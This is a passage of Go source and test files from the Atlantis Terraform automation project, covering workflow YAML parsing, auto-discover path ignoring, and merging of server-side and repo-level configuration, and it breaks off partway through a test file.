plan: policy_check: apply: `, exp: raw.Workflow{ Apply: nil, PolicyCheck: nil, Plan: nil, }, }, { description: "steps set to null", input: ` plan: steps: ~ policy_check: steps: ~ apply: steps: ~`, exp: raw.Workflow{ Plan: &raw.Stage{ Steps: nil, }, PolicyCheck: &raw.Stage{ Steps: nil, }, Apply: &raw.Stage{ Steps: nil, }, }, }, { description: "steps set to empty slice", input: ` plan: steps: [] policy_check: steps: [] apply: steps: []`, exp: raw.Workflow{ Plan: &raw.Stage{ Steps: []raw.Step{}, }, PolicyCheck: &raw.Stage{ Steps: []raw.Step{}, }, Apply: &raw.Stage{ Steps: []raw.Step{}, }, }, }, } for _, c := range cases { t.Run(c.description, func(t *testing.T) { var w raw.Workflow err := unmarshalString(c.input, &w) if c.expErr != "" { ErrEquals(t, c.expErr, err) return } Ok(t, err) Equals(t, c.exp, w) }) } } func TestWorkflow_Validate(t *testing.T) { // Should call the validate of Stage. w := raw.Workflow{ Apply: &raw.Stage{ Steps: []raw.Step{ { Key: String("invalid"), }, }, }, } validation.ErrorTag = "yaml" ErrEquals(t, "apply: (steps: (0: \"invalid\" is not a valid step type, maybe you omitted the 'run' key.).).", w.Validate()) // Unset keys should validate. Ok(t, (raw.Workflow{}).Validate()) } func TestWorkflow_ToValid(t *testing.T) { cases := []struct { description string input raw.Workflow exp valid.Workflow }{ { description: "nothing set", input: raw.Workflow{}, exp: valid.Workflow{ Apply: valid.DefaultApplyStage, Plan: valid.DefaultPlanStage, PolicyCheck: valid.DefaultPolicyCheckStage, Import: valid.DefaultImportStage, StateRm: valid.DefaultStateRmStage, }, }, { description: "fields set", input: raw.Workflow{ Apply: &raw.Stage{ Steps: []raw.Step{ { Key: String("init"), }, }, }, PolicyCheck: &raw.Stage{ Steps: []raw.Step{ { Key: String("policy_check"), }, }, }, Plan: &raw.Stage{ Steps: []raw.Step{ { Key: String("init"), }, }, }, Import: &raw.Stage{ Steps: []raw.Step{ { Key: String("import"), }, }, }, StateRm: &raw.Stage{ Steps: []raw.Step{ { Key: String("state_rm"), }, }, }, }, exp: valid.Workflow{ Apply: valid.Stage{ Steps: []valid.Step{ { StepName: "init", }, }, }, PolicyCheck: valid.Stage{ Steps: []valid.Step{ { StepName: "policy_check", }, }, }, Plan: valid.Stage{ Steps: []valid.Step{ { StepName: "init", }, }, }, Import: valid.Stage{ Steps: []valid.Step{ { StepName: "import", }, }, }, StateRm: valid.Stage{ Steps: []valid.Step{ { StepName: "state_rm", }, }, }, }, }, } for _, c := range cases { t.Run(c.description, func(t *testing.T) { c.exp.Name = "name" Equals(t, c.exp, c.input.ToValid("name")) }) } } ================================================ FILE: server/core/config/valid/autodiscover.go ================================================ // Copyright 2025 The Atlantis Authors // SPDX-License-Identifier: Apache-2.0 package valid import "github.com/bmatcuk/doublestar/v4" // AutoDiscoverMode enum type AutoDiscoverMode string const ( AutoDiscoverEnabledMode AutoDiscoverMode = "enabled" AutoDiscoverDisabledMode AutoDiscoverMode = "disabled" AutoDiscoverAutoMode AutoDiscoverMode = "auto" ) type AutoDiscover struct { Mode AutoDiscoverMode IgnorePaths []string } func (a AutoDiscover) IsPathIgnored(path string) bool { if a.IgnorePaths == nil { return false } for i := 0; i < len(a.IgnorePaths); i++ { // Per documentation https://pkg.go.dev/github.com/bmatcuk/doublestar, if you run ValidatePattern() // against a pattern, which we do, you can run MatchUnvalidated for a slight performance gain, // and also no need to explicitly check for an error if doublestar.MatchUnvalidated(a.IgnorePaths[i], path) { return true } } return false } ================================================ FILE: server/core/config/valid/autodiscover_test.go ================================================ // Copyright 2025 The Atlantis Authors // SPDX-License-Identifier: Apache-2.0 package valid_test import ( "testing" "github.com/runatlantis/atlantis/server/core/config/valid" . "github.com/runatlantis/atlantis/testing" ) func TestConfig_IsPathIgnoredForAutoDiscover(t *testing.T) { cases := []struct { description string autoDiscover valid.AutoDiscover path string expIgnored bool }{ { description: "auto discover configured, but not path", autoDiscover: valid.AutoDiscover{}, path: "foo", expIgnored: false, }, { description: "paths do not match pattern", autoDiscover: valid.AutoDiscover{ IgnorePaths: []string{ "bar", }, }, path: "foo", expIgnored: false, }, { description: "path does match pattern", autoDiscover: valid.AutoDiscover{ IgnorePaths: []string{ "fo?", }, }, path: "foo", expIgnored: true, }, { description: "one path matches pattern, another doesn't", autoDiscover: valid.AutoDiscover{ IgnorePaths: []string{ "fo*", "ba*", }, }, path: "foo", expIgnored: true, }, { description: "long path does match pattern", autoDiscover: valid.AutoDiscover{ IgnorePaths: []string{ "foo/*/baz", }, }, path: "foo/bar/baz", expIgnored: true, }, { description: "long path does not match pattern", autoDiscover: valid.AutoDiscover{ IgnorePaths: []string{ "foo/*/baz", }, }, path: "foo/bar/boo", expIgnored: false, }, } for _, c := range cases { t.Run(c.description, func(t *testing.T) { ignored := c.autoDiscover.IsPathIgnored(c.path) Equals(t, c.expIgnored, ignored) }) } } ================================================ FILE: server/core/config/valid/global_cfg.go ================================================ // Copyright 2025 The Atlantis Authors // SPDX-License-Identifier: Apache-2.0 package valid import ( "fmt" "regexp" "strings" version "github.com/hashicorp/go-version" "github.com/runatlantis/atlantis/server/logging" "github.com/runatlantis/atlantis/server/utils" ) const MergeableCommandReq = "mergeable" const ApprovedCommandReq = "approved" const UnDivergedCommandReq = "undiverged" const PoliciesPassedCommandReq = "policies_passed" const PlanRequirementsKey = "plan_requirements" const ApplyRequirementsKey = "apply_requirements" const ImportRequirementsKey = "import_requirements" const WorkflowKey = "workflow" const AllowedOverridesKey = "allowed_overrides" const AllowCustomWorkflowsKey = "allow_custom_workflows" const DefaultWorkflowName = "default" const DeleteSourceBranchOnMergeKey = "delete_source_branch_on_merge" const RepoLockingKey = "repo_locking" const RepoLocksKey = "repo_locks" const PolicyCheckKey = "policy_check" const CustomPolicyCheckKey = "custom_policy_check" const AutoDiscoverKey = "autodiscover" const SilencePRCommentsKey = "silence_pr_comments" var AllowedSilencePRComments = []string{"plan", "apply"} // DefaultAtlantisFile is the default name of the config file for each repo. const DefaultAtlantisFile = "atlantis.yaml" // NonOverridableApplyReqs will get applied across all "repos" in the server side config. // If repo config is allowed overrides, they can override this. // TODO: Make this more customizable, not everyone wants this rigid workflow // maybe something along the lines of defining overridable/non-overridable apply // requirements in the config and removing the flag to enable policy checking. var NonOverridableApplyReqs = []string{PoliciesPassedCommandReq} // GlobalCfg is the final parsed version of server-side repo config. type GlobalCfg struct { Repos []Repo Workflows map[string]Workflow PolicySets PolicySets Metrics Metrics TeamAuthz TeamAuthz } type Metrics struct { Statsd *Statsd Prometheus *Prometheus } type Statsd struct { Port string Host string } type Prometheus struct { Endpoint string } // Repo is the final parsed version of server-side repo config. type Repo struct { // ID is the exact match id of this config. // If IDRegex is set then this will be empty. ID string // IDRegex is the regex match for this config. // If ID is set then this will be nil. IDRegex *regexp.Regexp BranchRegex *regexp.Regexp RepoConfigFile string PlanRequirements []string ApplyRequirements []string ImportRequirements []string PreWorkflowHooks []*WorkflowHook Workflow *Workflow PostWorkflowHooks []*WorkflowHook AllowedWorkflows []string AllowedOverrides []string AllowCustomWorkflows *bool DeleteSourceBranchOnMerge *bool RepoLocking *bool RepoLocks *RepoLocks PolicyCheck *bool CustomPolicyCheck *bool AutoDiscover *AutoDiscover SilencePRComments []string } type MergedProjectCfg struct { PlanRequirements []string ApplyRequirements []string ImportRequirements []string Workflow Workflow AllowedWorkflows []string DependsOn []string RepoRelDir string Workspace string Name string AutoplanEnabled bool AutoMergeDisabled bool AutoMergeMethod string TerraformDistribution *string TerraformVersion *version.Version RepoCfgVersion int PolicySets PolicySets DeleteSourceBranchOnMerge bool ExecutionOrderGroup int RepoLocks RepoLocks PolicyCheck bool CustomPolicyCheck bool SilencePRComments []string } // WorkflowHook is a map of custom run commands to run before or after workflows. type WorkflowHook struct { StepName string RunCommand string StepDescription string Shell string ShellArgs string Commands string } // DefaultApplyStage is the Atlantis default apply stage. var DefaultApplyStage = Stage{ Steps: []Step{ { StepName: "apply", }, }, } // DefaultPolicyCheckStage is the Atlantis default policy check stage. var DefaultPolicyCheckStage = Stage{ Steps: []Step{ { StepName: "show", }, { StepName: "policy_check", }, }, } // DefaultPlanStage is the Atlantis default plan stage. var DefaultPlanStage = Stage{ Steps: []Step{ { StepName: "init", }, { StepName: "plan", }, }, } // DefaultImportStage is the Atlantis default import stage. var DefaultImportStage = Stage{ Steps: []Step{ { StepName: "init", }, { StepName: "import", }, }, } // DefaultStateRmStage is the Atlantis default state_rm stage. var DefaultStateRmStage = Stage{ Steps: []Step{ { StepName: "init", }, { StepName: "state_rm", }, }, } type GlobalCfgArgs struct { RepoConfigFile string // No longer a user option as of https://github.com/runatlantis/atlantis/pull/3911, // but useful for tests to set to true to not require enumeration of allowed settings // on the repo side AllowAllRepoSettings bool PolicyCheckEnabled bool PreWorkflowHooks []*WorkflowHook PostWorkflowHooks []*WorkflowHook } func NewGlobalCfgFromArgs(args GlobalCfgArgs) GlobalCfg { defaultWorkflow := Workflow{ Name: DefaultWorkflowName, Apply: DefaultApplyStage, Plan: DefaultPlanStage, PolicyCheck: DefaultPolicyCheckStage, Import: DefaultImportStage, StateRm: DefaultStateRmStage, } // Must construct slices here instead of using a `var` declaration because // we treat nil slices differently. applyReqs := []string{} importReqs := []string{} planReqs := []string{} allowedOverrides := []string{} allowedWorkflows := []string{} policyCheck := false if args.PolicyCheckEnabled { applyReqs = append(applyReqs, PoliciesPassedCommandReq) policyCheck = true } allowCustomWorkflows := false deleteSourceBranchOnMerge := false repoLocks := DefaultRepoLocks customPolicyCheck := false autoDiscover := AutoDiscover{Mode: AutoDiscoverAutoMode} var silencePRComments []string if args.AllowAllRepoSettings { allowedOverrides = []string{PlanRequirementsKey, ApplyRequirementsKey, ImportRequirementsKey, WorkflowKey, DeleteSourceBranchOnMergeKey, RepoLockingKey, RepoLocksKey, PolicyCheckKey, SilencePRCommentsKey} allowCustomWorkflows = true } return GlobalCfg{ Repos: []Repo{ { IDRegex: regexp.MustCompile(".*"), BranchRegex: regexp.MustCompile(".*"), RepoConfigFile: args.RepoConfigFile, PlanRequirements: planReqs, ApplyRequirements: applyReqs, ImportRequirements: importReqs, PreWorkflowHooks: args.PreWorkflowHooks, Workflow: &defaultWorkflow, PostWorkflowHooks: args.PostWorkflowHooks, AllowedWorkflows: allowedWorkflows, AllowedOverrides: allowedOverrides, AllowCustomWorkflows: &allowCustomWorkflows, DeleteSourceBranchOnMerge: &deleteSourceBranchOnMerge, RepoLocks: &repoLocks, PolicyCheck: &policyCheck, CustomPolicyCheck: &customPolicyCheck, AutoDiscover: &autoDiscover, SilencePRComments: silencePRComments, }, }, Workflows: map[string]Workflow{ DefaultWorkflowName: defaultWorkflow, }, TeamAuthz: TeamAuthz{ Args: make([]string, 0), }, } } // IDMatches returns true if the repo ID otherID matches this config. func (r Repo) IDMatches(otherID string) bool { if r.ID != "" { return r.ID == otherID } return r.IDRegex.MatchString(otherID) } // BranchMatches returns true if the branch other matches a branch regex (if preset). func (r Repo) BranchMatches(other string) bool { if r.BranchRegex == nil { return true } return r.BranchRegex.MatchString(other) } // IDString returns a string representation of this config. func (r Repo) IDString() string { if r.ID != "" { return r.ID } return "/" + r.IDRegex.String() + "/" } // MergeProjectCfg merges proj and rCfg with the global config to return a // final config. It assumes that all configs have been validated. func (g GlobalCfg) MergeProjectCfg(log logging.SimpleLogging, repoID string, proj Project, rCfg RepoCfg) MergedProjectCfg { log.Debug("MergeProjectCfg started") planReqs, applyReqs, importReqs, workflow, allowedOverrides, allowCustomWorkflows, deleteSourceBranchOnMerge, repoLocks, policyCheck, customPolicyCheck, _, silencePRComments := g.getMatchingCfg(log, repoID) // If repos are allowed to override certain keys then override them. for _, key := range allowedOverrides { switch key { case PlanRequirementsKey: if proj.PlanRequirements != nil { log.Debug("overriding server-defined %s with repo settings: [%s]", PlanRequirementsKey, strings.Join(proj.PlanRequirements, ",")) planReqs = proj.PlanRequirements } case ApplyRequirementsKey: if proj.ApplyRequirements != nil { log.Debug("overriding server-defined %s with repo settings: [%s]", ApplyRequirementsKey, strings.Join(proj.ApplyRequirements, ",")) applyReqs = proj.ApplyRequirements // Preserve policies_passed req if policy check is enabled if policyCheck { applyReqs = append(applyReqs, PoliciesPassedCommandReq) } } case ImportRequirementsKey: if proj.ImportRequirements != nil { log.Debug("overriding server-defined %s with repo settings: [%s]", ImportRequirementsKey, strings.Join(proj.ImportRequirements, ",")) importReqs = proj.ImportRequirements } case WorkflowKey: if proj.WorkflowName != nil { // We iterate over the global workflows first and the repo // workflows second so that repo workflows override. This is // safe because at this point we know if a repo is allowed to // define its own workflow. We also know that a workflow will // exist with this name due to earlier validation. name := *proj.WorkflowName for k, v := range g.Workflows { if k == name { workflow = v } } if allowCustomWorkflows { for k, v := range rCfg.Workflows { if k == name { workflow = v } } } log.Debug("overriding server-defined %s with repo-specified workflow: %q", WorkflowKey, workflow.Name) } case DeleteSourceBranchOnMergeKey: //We check whether the server configured value and repo-root level //config is different. If it is then we change to the more granular. if rCfg.DeleteSourceBranchOnMerge != nil && deleteSourceBranchOnMerge != *rCfg.DeleteSourceBranchOnMerge { log.Debug("overriding server-defined %s with repo settings: [%t]", DeleteSourceBranchOnMergeKey, rCfg.DeleteSourceBranchOnMerge) deleteSourceBranchOnMerge = *rCfg.DeleteSourceBranchOnMerge } //Then we check whether the more granular project based config is //different. If it is then we set it. if proj.DeleteSourceBranchOnMerge != nil && deleteSourceBranchOnMerge != *proj.DeleteSourceBranchOnMerge { log.Debug("overriding repo-root-defined %s with repo settings: [%t]", DeleteSourceBranchOnMergeKey, *proj.DeleteSourceBranchOnMerge) deleteSourceBranchOnMerge = *proj.DeleteSourceBranchOnMerge } log.Debug("merged deleteSourceBranchOnMerge: [%t]", deleteSourceBranchOnMerge) case RepoLockingKey: if proj.RepoLocking != nil { log.Debug("overriding server-defined %s with repo settings: [%t]", RepoLockingKey, *proj.RepoLocking) if *proj.RepoLocking && repoLocks.Mode == RepoLocksDisabledMode { repoLocks.Mode = DefaultRepoLocksMode } else if !*proj.RepoLocking { repoLocks.Mode = RepoLocksDisabledMode } } case RepoLocksKey: //We check whether the server configured value and repo-root level //config is different. If it is then we change to the more granular. if rCfg.RepoLocks != nil && repoLocks.Mode != rCfg.RepoLocks.Mode { log.Debug("overriding server-defined %s with repo settings: [%#v]", RepoLocksKey, rCfg.RepoLocks) repoLocks = *rCfg.RepoLocks } //Then we check whether the more granular project based config is //different. If it is then we set it. if proj.RepoLocks != nil && repoLocks.Mode != proj.RepoLocks.Mode { log.Debug("overriding repo-root-defined %s with repo settings: [%#v]", RepoLocksKey, *proj.RepoLocks) repoLocks = *proj.RepoLocks } log.Debug("merged repoLocks: [%#v]", repoLocks) case PolicyCheckKey: if proj.PolicyCheck != nil { log.Debug("overriding server-defined %s with repo settings: [%t]", PolicyCheckKey, *proj.PolicyCheck) policyCheck = *proj.PolicyCheck } case CustomPolicyCheckKey: if proj.CustomPolicyCheck != nil { log.Debug("overriding server-defined %s with repo settings: [%t]", CustomPolicyCheckKey, *proj.CustomPolicyCheck) customPolicyCheck = *proj.CustomPolicyCheck } case SilencePRCommentsKey: if proj.SilencePRComments != nil { log.Debug("overriding repo-root-defined %s with repo settings: [%t]", SilencePRCommentsKey, strings.Join(proj.SilencePRComments, ",")) silencePRComments = proj.SilencePRComments } else if rCfg.SilencePRComments != nil { log.Debug("overriding server-defined %s with repo settings: [%s]", SilencePRCommentsKey, strings.Join(rCfg.SilencePRComments, ",")) silencePRComments = rCfg.SilencePRComments } } log.Debug("MergeProjectCfg completed") } log.Debug("final settings: %s: [%s], %s: [%s], %s: [%s], %s: %s, %s: %t, %s: %s, %s: %t, %s: %t, %s: [%s]", PlanRequirementsKey, strings.Join(planReqs, ","), ApplyRequirementsKey, strings.Join(applyReqs, ","), ImportRequirementsKey, strings.Join(importReqs, ","), WorkflowKey, workflow.Name, DeleteSourceBranchOnMergeKey, deleteSourceBranchOnMerge, RepoLockingKey, repoLocks.Mode, PolicyCheckKey, policyCheck, CustomPolicyCheckKey, customPolicyCheck, SilencePRCommentsKey, strings.Join(silencePRComments, ","), ) return MergedProjectCfg{ PlanRequirements: planReqs, ApplyRequirements: applyReqs, ImportRequirements: importReqs, Workflow: workflow, RepoRelDir: proj.Dir, Workspace: proj.Workspace, DependsOn: proj.DependsOn, Name: proj.GetName(), AutoplanEnabled: proj.Autoplan.Enabled, TerraformDistribution: proj.TerraformDistribution, TerraformVersion: proj.TerraformVersion, RepoCfgVersion: rCfg.Version, PolicySets: g.PolicySets, DeleteSourceBranchOnMerge: deleteSourceBranchOnMerge, ExecutionOrderGroup: proj.ExecutionOrderGroup, RepoLocks: repoLocks, PolicyCheck: policyCheck, CustomPolicyCheck: customPolicyCheck, SilencePRComments: silencePRComments, } } // DefaultProjCfg returns the default project config for all projects under the // repo with id repoID. It is used when there is no repo config. func (g GlobalCfg) DefaultProjCfg(log logging.SimpleLogging, repoID string, repoRelDir string, workspace string) MergedProjectCfg { log.Debug("building config based on server-side config") planReqs, applyReqs, importReqs, workflow, _, _, deleteSourceBranchOnMerge, repoLocks, policyCheck, customPolicyCheck, _, silencePRComments := g.getMatchingCfg(log, repoID) return MergedProjectCfg{ PlanRequirements: planReqs, ApplyRequirements: applyReqs, ImportRequirements: importReqs, Workflow: workflow, RepoRelDir: repoRelDir, Workspace: workspace, Name: "", AutoplanEnabled: DefaultAutoPlanEnabled, TerraformDistribution: nil, TerraformVersion: nil, PolicySets: g.PolicySets, DeleteSourceBranchOnMerge: deleteSourceBranchOnMerge, RepoLocks: repoLocks, PolicyCheck: policyCheck, CustomPolicyCheck: customPolicyCheck, SilencePRComments: silencePRComments, } } // RepoAutoDiscoverCfg returns the AutoDiscover config from the global config // for the repo with id repoID. If no matching repo is found or there is no // AutoDiscover config then this function returns nil. func (g GlobalCfg) RepoAutoDiscoverCfg(repoID string) *AutoDiscover { repo := g.MatchingRepo(repoID) if repo != nil { return repo.AutoDiscover } return nil } // ValidateRepoCfg validates that rCfg for repo with id repoID is valid based // on our global config. func (g GlobalCfg) ValidateRepoCfg(rCfg RepoCfg, repoID string) error { mapContainsF := func(m map[string]Workflow, key string) bool { for k := range m { if k == key { return true } } return false } // Check allowed overrides. var allowedOverrides []string for _, repo := range g.Repos { if repo.IDMatches(repoID) { if repo.AllowedOverrides != nil { allowedOverrides = repo.AllowedOverrides } } } for _, p := range rCfg.Projects { if p.WorkflowName != nil && !utils.SlicesContains(allowedOverrides, WorkflowKey) { return fmt.Errorf("repo config not allowed to set '%s' key: server-side config needs '%s: [%s]'", WorkflowKey, AllowedOverridesKey, WorkflowKey) } if p.ApplyRequirements != nil && !utils.SlicesContains(allowedOverrides, ApplyRequirementsKey) { return fmt.Errorf("repo config not allowed to set '%s' key: server-side config needs '%s: [%s]'", ApplyRequirementsKey, AllowedOverridesKey, ApplyRequirementsKey) } if p.PlanRequirements != nil && !utils.SlicesContains(allowedOverrides, PlanRequirementsKey) { return fmt.Errorf("repo config not allowed to set '%s' key: server-side config needs '%s: [%s]'", PlanRequirementsKey, AllowedOverridesKey, PlanRequirementsKey) } if p.ImportRequirements != nil && !utils.SlicesContains(allowedOverrides, ImportRequirementsKey) { return fmt.Errorf("repo config not allowed to set '%s' key: server-side config needs '%s: [%s]'", ImportRequirementsKey, AllowedOverridesKey, ImportRequirementsKey) } if p.DeleteSourceBranchOnMerge != nil && !utils.SlicesContains(allowedOverrides, DeleteSourceBranchOnMergeKey) { return fmt.Errorf("repo config not allowed to set '%s' key: server-side config needs '%s: [%s]'", DeleteSourceBranchOnMergeKey, AllowedOverridesKey, DeleteSourceBranchOnMergeKey) } if p.RepoLocking != nil && !utils.SlicesContains(allowedOverrides, RepoLockingKey) { return fmt.Errorf("repo config not allowed to set '%s' key: server-side config needs '%s: [%s]'", RepoLockingKey, AllowedOverridesKey, RepoLockingKey) } if p.RepoLocks != nil && !utils.SlicesContains(allowedOverrides, RepoLocksKey) { return fmt.Errorf("repo config not allowed to set '%s' key: server-side config needs '%s: [%s]'", RepoLocksKey, AllowedOverridesKey, RepoLocksKey) } if p.CustomPolicyCheck != nil && !utils.SlicesContains(allowedOverrides, CustomPolicyCheckKey) { return fmt.Errorf("repo config not allowed to set '%s' key: server-side config needs '%s: [%s]'", CustomPolicyCheckKey, AllowedOverridesKey, CustomPolicyCheckKey) } if p.SilencePRComments != nil { if !utils.SlicesContains(allowedOverrides, SilencePRCommentsKey) { return fmt.Errorf( "repo config not allowed to set '%s' key: server-side config needs '%s: [%s]'", SilencePRCommentsKey, AllowedOverridesKey, SilencePRCommentsKey, ) } for _, silenceStage := range p.SilencePRComments { if !utils.SlicesContains(AllowedSilencePRComments, silenceStage) { return fmt.Errorf( "repo config '%s' key value of '%s' is not supported, supported values are [%s]", SilencePRCommentsKey, silenceStage, strings.Join(AllowedSilencePRComments, ", "), ) } } } } // Check custom workflows. var allowCustomWorkflows bool for _, repo := range g.Repos { if repo.IDMatches(repoID) { if repo.AllowCustomWorkflows != nil { allowCustomWorkflows = *repo.AllowCustomWorkflows } } } if len(rCfg.Workflows) > 0 && !allowCustomWorkflows { return fmt.Errorf("repo config not allowed to define custom workflows: server-side config needs '%s: true'", AllowCustomWorkflowsKey) } // Check if the repo has set a workflow name that doesn't exist. for _, p := range rCfg.Projects { if p.WorkflowName != nil { name := *p.WorkflowName if !mapContainsF(rCfg.Workflows, name) && !mapContainsF(g.Workflows, name) { return fmt.Errorf("workflow %q is not defined anywhere", name) } } } // Check workflow is allowed var allowedWorkflows []string for _, repo := range g.Repos { if repo.IDMatches(repoID) { if repo.AllowedWorkflows != nil { allowedWorkflows = repo.AllowedWorkflows } } } for _, p := range rCfg.Projects { // default is always allowed if p.WorkflowName != nil && len(allowedWorkflows) != 0 { name := *p.WorkflowName if allowCustomWorkflows { // If we allow CustomWorkflows we need to check that workflow name is defined inside repo and not global. if mapContainsF(rCfg.Workflows, name) { break } } if !utils.SlicesContains(allowedWorkflows, name) { return fmt.Errorf("workflow '%s' is not allowed for this repo", name) } } } return nil } // getMatchingCfg returns the key settings for repoID. func (g GlobalCfg) getMatchingCfg(log logging.SimpleLogging, repoID string) (planReqs []string, applyReqs []string, importReqs []string, workflow Workflow, allowedOverrides []string, allowCustomWorkflows bool, deleteSourceBranchOnMerge bool, repoLocks RepoLocks, policyCheck bool, customPolicyCheck bool, autoDiscover AutoDiscover, silencePRComments []string) { toLog := make(map[string]string) traceF := func(repoIdx int, repoID string, key string, val any) string { from := "default server config" if repoIdx > 0 { from = fmt.Sprintf("repos[%d], id: %s", repoIdx, repoID) } var valStr string switch v := val.(type) { case string: valStr = fmt.Sprintf("%q", v) case []string: valStr = fmt.Sprintf("[%s]", strings.Join(v, ",")) case bool: valStr = fmt.Sprintf("%t", v) default: valStr = "this is a bug" } return fmt.Sprintf("setting %s: %s from %s", key, valStr, from) } // Can't use raw.DefaultAutoDiscoverMode() because of an import cycle. Should refactor to avoid that. autoDiscover = AutoDiscover{Mode: AutoDiscoverAutoMode} repoLocking := true repoLocks = DefaultRepoLocks for _, key := range []string{PlanRequirementsKey, ApplyRequirementsKey, ImportRequirementsKey, WorkflowKey, AllowedOverridesKey, AllowCustomWorkflowsKey, DeleteSourceBranchOnMergeKey, RepoLockingKey, RepoLocksKey, PolicyCheckKey, CustomPolicyCheckKey, SilencePRCommentsKey} { for i, repo := range g.Repos { if repo.IDMatches(repoID) { switch key { case PlanRequirementsKey: if repo.PlanRequirements != nil { toLog[PlanRequirementsKey] = traceF(i, repo.IDString(), PlanRequirementsKey, repo.PlanRequirements) planReqs = repo.PlanRequirements } case ApplyRequirementsKey: if repo.ApplyRequirements != nil { toLog[ApplyRequirementsKey] = traceF(i, repo.IDString(), ApplyRequirementsKey, repo.ApplyRequirements) applyReqs = repo.ApplyRequirements } case ImportRequirementsKey: if repo.ImportRequirements != nil { toLog[ImportRequirementsKey] = traceF(i, repo.IDString(), ImportRequirementsKey, repo.ImportRequirements) importReqs = repo.ImportRequirements } case WorkflowKey: if repo.Workflow != nil { toLog[WorkflowKey] = traceF(i, repo.IDString(), WorkflowKey, repo.Workflow.Name) workflow = *repo.Workflow } case AllowedOverridesKey: if repo.AllowedOverrides != nil { toLog[AllowedOverridesKey] = traceF(i, repo.IDString(), AllowedOverridesKey, repo.AllowedOverrides) allowedOverrides = repo.AllowedOverrides } case AllowCustomWorkflowsKey: if repo.AllowCustomWorkflows != nil { toLog[AllowCustomWorkflowsKey] = traceF(i, repo.IDString(), AllowCustomWorkflowsKey, *repo.AllowCustomWorkflows) allowCustomWorkflows = *repo.AllowCustomWorkflows } case DeleteSourceBranchOnMergeKey: if repo.DeleteSourceBranchOnMerge != nil { toLog[DeleteSourceBranchOnMergeKey] = traceF(i, repo.IDString(), DeleteSourceBranchOnMergeKey, *repo.DeleteSourceBranchOnMerge) deleteSourceBranchOnMerge = *repo.DeleteSourceBranchOnMerge } case RepoLockingKey: if repo.RepoLocking != nil { toLog[RepoLockingKey] = traceF(i, repo.IDString(), RepoLockingKey, *repo.RepoLocking) repoLocking = *repo.RepoLocking } case RepoLocksKey: if repo.RepoLocks != nil { toLog[RepoLocksKey] = traceF(i, repo.IDString(), RepoLocksKey, repo.RepoLocks.Mode) repoLocks = *repo.RepoLocks } case PolicyCheckKey: if repo.PolicyCheck != nil { toLog[PolicyCheckKey] = traceF(i, repo.IDString(), PolicyCheckKey, *repo.PolicyCheck) policyCheck = *repo.PolicyCheck } case CustomPolicyCheckKey: if repo.CustomPolicyCheck != nil { toLog[CustomPolicyCheckKey] = traceF(i, repo.IDString(), CustomPolicyCheckKey, *repo.CustomPolicyCheck) customPolicyCheck = *repo.CustomPolicyCheck } case AutoDiscoverKey: if repo.AutoDiscover != nil { toLog[AutoDiscoverKey] = traceF(i, repo.IDString(), AutoDiscoverKey, repo.AutoDiscover.Mode) autoDiscover = *repo.AutoDiscover } case SilencePRCommentsKey: if repo.SilencePRComments != nil { toLog[SilencePRCommentsKey] = traceF(i, repo.IDString(), SilencePRCommentsKey, repo.SilencePRComments) silencePRComments = repo.SilencePRComments } } } } } for _, l := range toLog { log.Debug(l) } // repoLocking is deprecated and enabled by default, disable repo locks if it is explicitly disabled if !repoLocking { repoLocks.Mode = RepoLocksDisabledMode } return } // MatchingRepo returns an instance of Repo which matches a given repoID. // If multiple repos match, return the last one for consistency with getMatchingCfg. func (g GlobalCfg) MatchingRepo(repoID string) *Repo { for i := len(g.Repos) - 1; i >= 0; i-- { repo := g.Repos[i] if repo.IDMatches(repoID) { return &repo } } return nil } // RepoConfigFile returns a repository specific file path // If not defined, return atlantis.yaml as default func (g GlobalCfg) RepoConfigFile(repoID string) string { repo := g.MatchingRepo(repoID) if repo != nil && repo.RepoConfigFile != "" { return repo.RepoConfigFile } return DefaultAtlantisFile } ================================================ FILE: server/core/config/valid/global_cfg_test.go ================================================ // Copyright 2025 The Atlantis Authors // SPDX-License-Identifier: Apache-2.0 package valid_test import ( "fmt" "os" "path/filepath" "regexp" "testing" "github.com/hashicorp/go-version" "github.com/mohae/deepcopy" "github.com/runatlantis/atlantis/server/core/config" "github.com/runatlantis/atlantis/server/core/config/raw" "github.com/runatlantis/atlantis/server/core/config/valid" "github.com/runatlantis/atlantis/server/logging" . "github.com/runatlantis/atlantis/testing" ) func TestNewGlobalCfg(t *testing.T) { expDefaultWorkflow := valid.Workflow{ Name: "default", Apply: valid.Stage{ Steps: []valid.Step{ { StepName: "apply", }, }, }, PolicyCheck: valid.Stage{ Steps: []valid.Step{ { StepName: "show", }, { StepName: "policy_check", }, }, }, Plan: valid.Stage{ Steps: []valid.Step{ { StepName: "init", }, { StepName: "plan", }, }, }, Import: valid.Stage{ Steps: []valid.Step{ { StepName: "init", }, { StepName: "import", }, }, }, StateRm: valid.Stage{ Steps: []valid.Step{ { StepName: "init", }, { StepName: "state_rm", }, }, }, } baseCfg := valid.GlobalCfg{ Repos: []valid.Repo{ { IDRegex: regexp.MustCompile(".*"), BranchRegex: regexp.MustCompile(".*"), PlanRequirements: []string{}, ApplyRequirements: []string{}, ImportRequirements: []string{}, Workflow: &expDefaultWorkflow, AllowedWorkflows: []string{}, AllowedOverrides: []string{}, AllowCustomWorkflows: Bool(false), DeleteSourceBranchOnMerge: Bool(false), RepoLocks: &valid.DefaultRepoLocks, PolicyCheck: Bool(false), CustomPolicyCheck: Bool(false), AutoDiscover: raw.DefaultAutoDiscover(), }, }, Workflows: map[string]valid.Workflow{ "default": expDefaultWorkflow, }, TeamAuthz: valid.TeamAuthz{ Args: make([]string, 0), }, } cases := []struct { allowAllRepoSettings bool policyCheckEnabled bool }{ { allowAllRepoSettings: false, policyCheckEnabled: false, }, { allowAllRepoSettings: true, policyCheckEnabled: false, }, { allowAllRepoSettings: true, policyCheckEnabled: true, }, { allowAllRepoSettings: false, policyCheckEnabled: true, }, } for _, c := range cases { caseName := fmt.Sprintf("allow_repo: %t, policy_check: %t", c.allowAllRepoSettings, c.policyCheckEnabled) t.Run(caseName, func(t *testing.T) { globalCfgArgs := valid.GlobalCfgArgs{ AllowAllRepoSettings: c.allowAllRepoSettings, PolicyCheckEnabled: c.policyCheckEnabled, } act := valid.NewGlobalCfgFromArgs(globalCfgArgs) // For each test, we change our expected cfg based on the parameters. exp := deepcopy.Copy(baseCfg).(valid.GlobalCfg) exp.Repos[0].IDRegex = regexp.MustCompile(".*") // deepcopy doesn't copy the regex. exp.Repos[0].BranchRegex = regexp.MustCompile(".*") if c.allowAllRepoSettings { exp.Repos[0].AllowCustomWorkflows = Bool(true) exp.Repos[0].AllowedOverrides = []string{"plan_requirements", "apply_requirements", "import_requirements", "workflow", "delete_source_branch_on_merge", "repo_locking", "repo_locks", "policy_check", 